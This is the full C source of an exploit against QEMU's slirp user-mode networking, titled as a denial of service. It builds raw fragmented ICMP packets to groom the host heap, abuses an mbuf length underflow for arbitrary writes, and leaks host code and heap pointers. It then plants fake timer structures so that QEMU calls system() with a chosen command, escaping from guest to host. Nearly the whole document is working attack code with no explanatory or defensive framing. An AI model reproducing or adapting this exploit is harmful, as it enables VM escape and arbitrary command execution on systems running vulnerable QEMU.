QEMU – Denial of Service
#include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <net/ethernet.h> #include <arpa/inet.h> #include <linux/icmp.h> #include <linux/if_packet.h> #include <sys/ioctl.h> #include <net/if.h> #include <time.h> #define die(x) do { \ perror(x); \ exit(EXIT_FAILURE); \ }while(0); // * * * * * * * * * * * * * * * Constans * * * * * * * * * * * * * * * * * * #define SRC_ADDR "10.0.2.15" #define DST_ADDR "10.0.2.2" #define INTERFACE "ens3" #define ETH_HDRLEN 14 // Ethernet header length #define IP4_HDRLEN 20 // IPv4 header length #define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data #define MIN_MTU 12000 // * * * * * * * * * * * * * * * QEMU Symbol offset * * * * * * * * * * * * * * * * * * #define SYSTEM_PLT 0x029b290 #define QEMU_CLOCK 0x10e8200 #define QEMU_TIMER_NOTIFY_CB 0x2f4bff #define MAIN_LOOP_TLG 0x10e81e0 #define CPU_UPDATE_STATE 0x488190 // Some place in bss which is not used to craft fake stucts #define FAKE_STRUCT 0xf43360 // * * * * * * * * * * * * * * * QEMU Structs * * * * * * * * * * * * * * * * * * struct mbuf { struct mbuf *m_next; /* Linked list of mbufs */ struct mbuf *m_prev; struct mbuf *m_nextpkt; /* Next packet in queue/record */ struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */ int m_flags; /* Misc flags */ int m_size; /* Size of mbuf, from m_dat or m_ext */ struct socket *m_so; char * m_data; /* Current location of data */ int m_len; /* Amount of data in this mbuf, from m_data */ void *slirp; char resolution_requested; u_int64_t expiration_date; char *m_ext; /* start of dynamic buffer area, must be last element */ char * m_dat; }; struct QEMUTimer { int64_t expire_time; /* in nanoseconds */ void *timer_list; void *cb; void *opaque; void *next; int scale; }; struct QEMUTimerList { void * clock; char active_timers_lock[0x38]; struct QEMUTimer *active_timers; struct QEMUTimerList *le_next; /* next element */ \ struct QEMUTimerList **le_prev; /* address of previous next element */ \ void *notify_cb; void *notify_opaque; /* lightweight method to mark the end of timerlist's running */ size_t timers_done_ev; }; // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * int raw_socket; int recv_socket; int spray_id; int idx; char mac[6]; void * code_leak; void * heap_leak; void *Malloc(size_t size) { void * ptr = calloc(size,1); if (!ptr) { die("malloc() failed to allocate"); } return ptr; } unsigned short in_cksum(unsigned short *ptr,int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } void hex_dump(char *desc, void *addr, int len) { int i; unsigned char buff[17]; unsigned char *pc = (unsigned char*)addr; if (desc != NULL) printf ("%s:\n", desc); for (i = 0; i < len; i++) { if ((i % 16) == 0) { if (i != 0) printf(" %s\n", buff); printf(" %04x ", i); } printf(" %02x", pc[i]); if ((pc[i] < 0x20) || (pc[i] > 0x7e)) { buff[i % 16] = '.'; } else { buff[i % 16] = pc[i]; } buff[(i % 16) + 1] = '\0'; } while ((i % 16) != 0) { printf(" "); i++; } printf(" %s\n", buff); } char * ethernet_header(char * eth_hdr){ /* src MAC : 52:54:00:12:34:56 */ memcpy(ð_hdr[6],mac,6); // Next is ethernet type code (ETH_P_IP for IPv4). // http://www.iana.org/assignments/ethernet-numbers eth_hdr[12] = ETH_P_IP / 256; eth_hdr[13] = ETH_P_IP % 256; return eth_hdr; } void ip_header(struct iphdr * ip ,u_int32_t src_addr,u_int32_t dst_addr,u_int16_t payload_len, u_int8_t protocol,u_int16_t id,uint16_t frag_off){ /* rfc791 */ ip->ihl = IP4_HDRLEN / sizeof (uint32_t); ip->version = 4; ip->tos = 0x0; ip->tot_len = htons(IP4_HDRLEN + payload_len); ip->id = htons(id); ip->ttl = 64; ip->frag_off = htons(frag_off); ip->protocol = protocol; ip->saddr = src_addr; ip->daddr = dst_addr; ip->check = in_cksum((unsigned short *)ip,IP4_HDRLEN); } void icmp_header(struct icmphdr *icmp, char *data, size_t size) { /* rfc792 */ icmp->type = ICMP_ECHO; icmp->code = 0; icmp->un.echo.id = htons(0); icmp->un.echo.sequence = htons(0); if (data) { char * payload = (char * )icmp+ ICMP_HDRLEN; memcpy(payload, data, size); } icmp->checksum = in_cksum((unsigned short *)icmp, ICMP_HDRLEN + size); } void send_pkt(char *frame, u_int32_t frame_length) { struct sockaddr_ll sock; sock.sll_family = AF_PACKET; sock.sll_ifindex = idx; sock.sll_halen = 6; memcpy (sock.sll_addr, mac, 6 * sizeof (uint8_t)); if(sendto(raw_socket,frame,frame_length,0x0,(struct sockaddr *)&sock, sizeof(sock))<0) die("sendto()"); } void send_ip4(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) { u_int32_t src_addr, dst_addr; src_addr = inet_addr(SRC_ADDR); dst_addr = inet_addr(DST_ADDR); char * pkt = Malloc(IP_MAXPACKET); struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); u_int16_t payload_len = size; ip_header(ip,src_addr,dst_addr,payload_len,IPPROTO_ICMP,id,frag_off); if(data) { char * payload = (char *)pkt + ETH_HDRLEN + IP4_HDRLEN; memcpy(payload, data, payload_len); } u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + payload_len; send_pkt(pkt,frame_length); free(pkt); } void send_icmp(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) { char * pkt = Malloc(IP_MAXPACKET); struct icmphdr * icmp = (struct icmphdr * )(pkt); if(!data) data = Malloc(size); icmp_header(icmp,data,size); u_int32_t len = ICMP_HDRLEN + size; send_ip4(id,len,pkt,frag_off); free(pkt); } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * void initialize() { int sd; struct ifreq ifr; char interface[40]; int mtu; srand(time(NULL)); strcpy (interface, INTERFACE); // Submit request for a socket descriptor to look up interface. if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { die("socket() failed to get socket descriptor for using ioctl()"); } // Use ioctl() to get interface maximum transmission unit (MTU). memset (&ifr, 0, sizeof (ifr)); strcpy (ifr.ifr_name, interface); if (ioctl (sd, SIOCGIFMTU, &ifr) < 0) { die("ioctl() failed to get MTU "); } mtu = ifr.ifr_mtu; printf ("MTU of interface %s : %i\n", interface, mtu); if (mtu < MIN_MTU) { printf("Run\n$ ip link set dev %s mtu 12000\n",interface); die(""); } // Use ioctl() to look up interface name and get its MAC address. memset (&ifr, 0, sizeof (ifr)); snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface); if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) { die("ioctl() failed to get source MAC address "); } memcpy (mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t)); printf ("MAC %s :", interface); for (int i=0; i<5; i++) { printf ("%02x:", mac[i]); } printf ("%02x\n", mac[5]); // Use ioctl() to look up interface index which we will use to // bind socket descriptor sd to specified interface with setsockopt() since // none of the other arguments of sendto() specify which interface to use. memset (&ifr, 0, sizeof (ifr)); snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface); if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) { die("ioctl() failed to find interface "); } close (sd); printf ("Index for interface %s : %i\n", interface, ifr.ifr_ifindex); idx = ifr.ifr_ifindex; if((raw_socket = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL)))==-1) die("socket() failed to obtain raw socket"); /* Bind socket to interface index. */ if (setsockopt (raw_socket, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) { die("setsockopt() failed to bind to interface "); } printf("Initialized socket discriptors\n"); } void spray(uint32_t size, u_int32_t count) { printf("Spraying 0x%x x ICMP[0x%x]\n",count,size); int s; u_int16_t frag_off; char * data; for (int i = 0; i < count; i++) { send_icmp(spray_id + i,size, NULL, IP_MF); } } void arbitrary_write(void *addr, size_t addrlen, char *payload, size_t size, size_t spray_count) { spray(0x8, spray_count); size_t id = spray_id + spray_count; // Target size_t target_id = id++; send_ip4(target_id, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0x8, NULL, IP_MF); send_ip4(id++, 0x8, NULL, IP_MF); // Piviot Point size_t hole_1 = id++; send_ip4(hole_1, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0xC30, NULL, IP_MF); // For creating hole size_t hole_2 = id++; send_ip4(hole_2, 0x8, NULL, IP_MF); // To prevent consolidation send_ip4(id++, 0x8, NULL, IP_MF); // This should create the fist hole send_ip4(hole_1, 0x8, NULL, 0x1); // This should create the second hole send_ip4(hole_2, 0x8, NULL, 0x1); int m_data_off = -0x70; int m_len = m_data_off; addr = (void *)((size_t)addr + ((m_len * -1) - addrlen)); if (addrlen != 0x8) { m_len -= (0x8 - addrlen); } size_t vuln_id = id++; char * pkt = Malloc(IP_MAXPACKET); memset(pkt,0x0,IP_MAXPACKET); struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); u_int16_t pkt_len = 0xc90; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF); u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; // The mbuf of this packet will be placed in the second hole and // m_ext buff will be placed on the first hole, We will write wrt // to this. send_pkt(pkt,frame_length); memset(pkt,0x0,IP_MAXPACKET); ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); pkt_len = 0x8; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192); frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; // Trigger the bug to change target's m_len send_pkt(pkt,frame_length); // Underflow and write, to change m_data char addr_buf[0x8] = {0}; if (addrlen != 0x8) { memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen); } else { memcpy(addr_buf,(char *)&addr,8); } send_ip4(target_id, 0x8, addr_buf, 0x1|IP_MF); send_ip4(target_id, size, payload, 0x2); hex_dump("Writing Payload ", payload, size); } void recv_leaks(){ /* Prepare recv sd */ /* Submit request for a raw socket descriptor to receive packets. */ int recvsd, fromlen, bytes, status; struct sockaddr from; char recv_ether_frame[IP_MAXPACKET]; struct iphdr *recv_iphdr = (struct iphdr *)(recv_ether_frame + ETH_HDRLEN); struct icmphdr *recv_icmphdr = (struct icmphdr *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN); for (;;) { memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t)); memset(&from, 0, sizeof(from)); fromlen = sizeof(from); if ((bytes = recvfrom(recv_socket, recv_ether_frame, IP_MAXPACKET, 0, (struct sockaddr *)&from, (socklen_t *)&fromlen)) < 0) { status = errno; // Deal with error conditions first. if (status == EAGAIN) { // EAGAIN = 11 printf("Time out\n"); } else if (status == EINTR) { // EINTR = 4 continue; // Something weird happened, but let's keep listening. } else { perror("recvfrom() failed "); exit(EXIT_FAILURE); } } // End of error handling conditionals. // Check for an IP ethernet frame, carrying ICMP echo reply. If not, ignore // and keep listening. if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) == ETH_P_IP) && (recv_iphdr->protocol == IPPROTO_ICMP) && (recv_icmphdr->type == ICMP_ECHOREPLY) && (recv_icmphdr->code == 0) && (recv_icmphdr->checksum == 0xffff)) { hex_dump("Recieved ICMP Replay : ", recv_ether_frame, bytes); code_leak = (void *)(*((size_t *)&recv_ether_frame[0x40]) - CPU_UPDATE_STATE); size_t *ptr = (size_t *)(recv_ether_frame + 0x30); for (int i = 0; i < (bytes / 0x8); i++) { if ((ptr[i] & 0x7f0000000000) == 0x7f0000000000) { heap_leak = (void *)(ptr[i] & 0xffffff000000); break; } } printf("Host Code Leak : %p\n", code_leak); printf("Host Heap Leak : %p\n", heap_leak); break; } } } void leak() { u_int32_t src_addr, dst_addr; src_addr = inet_addr(SRC_ADDR); dst_addr = inet_addr(DST_ADDR); /* Crafting Fake ICMP Packet For Leak */ char * pkt = Malloc(IP_MAXPACKET); struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); struct icmphdr * icmp = (struct icmphdr * )(pkt+ETH_HDRLEN+IP4_HDRLEN); ethernet_header(pkt); ip_header(ip,src_addr,dst_addr,ICMP_HDRLEN,IPPROTO_ICMP,0xbabe,IP_MF); ip->tot_len = ntohs(ip->tot_len) - IP4_HDRLEN; ip->id = ntohs(ip->id); ip->frag_off = htons(ip->frag_off); icmp_header(icmp,NULL,0x0); char * data = (char *)icmp + ICMP_HDRLEN + 8; size_t pkt_len = ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN; spray_id = rand() & 0xffff; arbitrary_write((void * )(0xb00-0x20),3,pkt,pkt_len+4,0x100); // This is same as the arbitrary write function spray_id = rand() & 0xffff; spray(0x8, 0x20); size_t id = spray_id + 0x20; size_t replay_id = id++; send_ip4(replay_id, 0x100, NULL, IP_MF); // Target size_t target_id = id++; send_ip4(target_id, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0x8, NULL, IP_MF); send_ip4(id++, 0x8, NULL, IP_MF); // Piviot Point size_t hole_1 = id++; send_ip4(hole_1, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0xC30, NULL, IP_MF); // For creating hole size_t hole_2 = id++; send_ip4(hole_2, 0x8, NULL, IP_MF); // Prevent Consolidation send_ip4(id++, 0x8, NULL, IP_MF); // This should create the fist hole send_ip4(hole_1, 0x8, NULL, 0x1); // This should create the second hole send_ip4(hole_2, 0x8, NULL, 0x1); // Trigger the bug to change target's m_len int m_data_off = -0xd50; int m_len = m_data_off; size_t * addr = (size_t * )(0xb00 - 0x20 + ETH_HDRLEN + 0xe + 6) ; size_t addrlen = 0x3; if (addrlen != 0x8) { m_len -= (0x8 - addrlen); } size_t vuln_id = id++; memset(pkt,0x0,IP_MAXPACKET); ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); pkt_len = 0xc90; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF); u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; send_pkt(pkt,frame_length); memset(pkt,0x0,IP_MAXPACKET); ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); pkt_len = 0x8; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192); frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; send_pkt(pkt,frame_length); // Underflow and write to change m_data char addr_buf[0x8] = {0}; if (addrlen != 0x8) { memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen); } else { memcpy(addr_buf,(char *)&addr,8); } send_ip4(target_id, 0x8, addr_buf, 0x1); if ((recv_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) die("socket() failed to obtain a receive socket descriptor"); send_ip4(replay_id, 0x8, NULL, 0x20); recv_leaks(); char zero[0x28] = {0}; spray_id = rand() & 0xffff; printf("Cleaning Heap\n"); arbitrary_write(heap_leak + (0xb00 - 0x20),3,zero,sizeof(zero),0x20); } void pwn() { char payload[0x200] = {0}; struct QEMUTimerList *tl = (struct QEMUTimerList *)payload; struct QEMUTimer *ts = (struct QEMUTimer *)(payload + sizeof(struct QEMUTimerList)); char cmd[] = "/usr/bin/gnome-calculator"; memcpy((void *)(payload + sizeof(struct QEMUTimerList ) \ +sizeof(struct QEMUTimer )), \ (void *)cmd,sizeof(cmd)); void * fake_timer_list = code_leak + FAKE_STRUCT; void * fake_timer = fake_timer_list + sizeof(struct QEMUTimerList); void *system = code_leak + SYSTEM_PLT; void *cmd_addr = fake_timer + sizeof(struct QEMUTimer); /* Fake Timer List */ tl->clock = (void *)(code_leak + QEMU_CLOCK); *(size_t *)&tl->active_timers_lock[0x30] = 0x0000000100000000; tl->active_timers = fake_timer; tl->le_next = 0x0; tl->le_prev = 0x0; tl->notify_cb = code_leak + QEMU_TIMER_NOTIFY_CB; tl->notify_opaque = 0x0; tl->timers_done_ev = 0x0000000100000000; /*Fake Timer structure*/ ts->timer_list = fake_timer_list; ts->cb = system; ts->opaque = cmd_addr; ts->scale = 1000000; ts->expire_time = -1; spray_id = rand() & 0xffff; size_t payload_size = sizeof(struct QEMUTimerList) + sizeof(struct QEMUTimerList) + sizeof(cmd); printf("Writing fake structure : %p\n",fake_timer_list); arbitrary_write(fake_timer_list,8,payload,payload_size,0x20); spray_id = rand() & 0xffff; void * main_loop_tlg = code_leak + MAIN_LOOP_TLG; printf("Overwriting main_loop_tlg %p\n",main_loop_tlg); arbitrary_write(main_loop_tlg,8,(char *)&fake_timer_list,8,0x20); } int main() { initialize(); leak(); pwn(); return 0; } |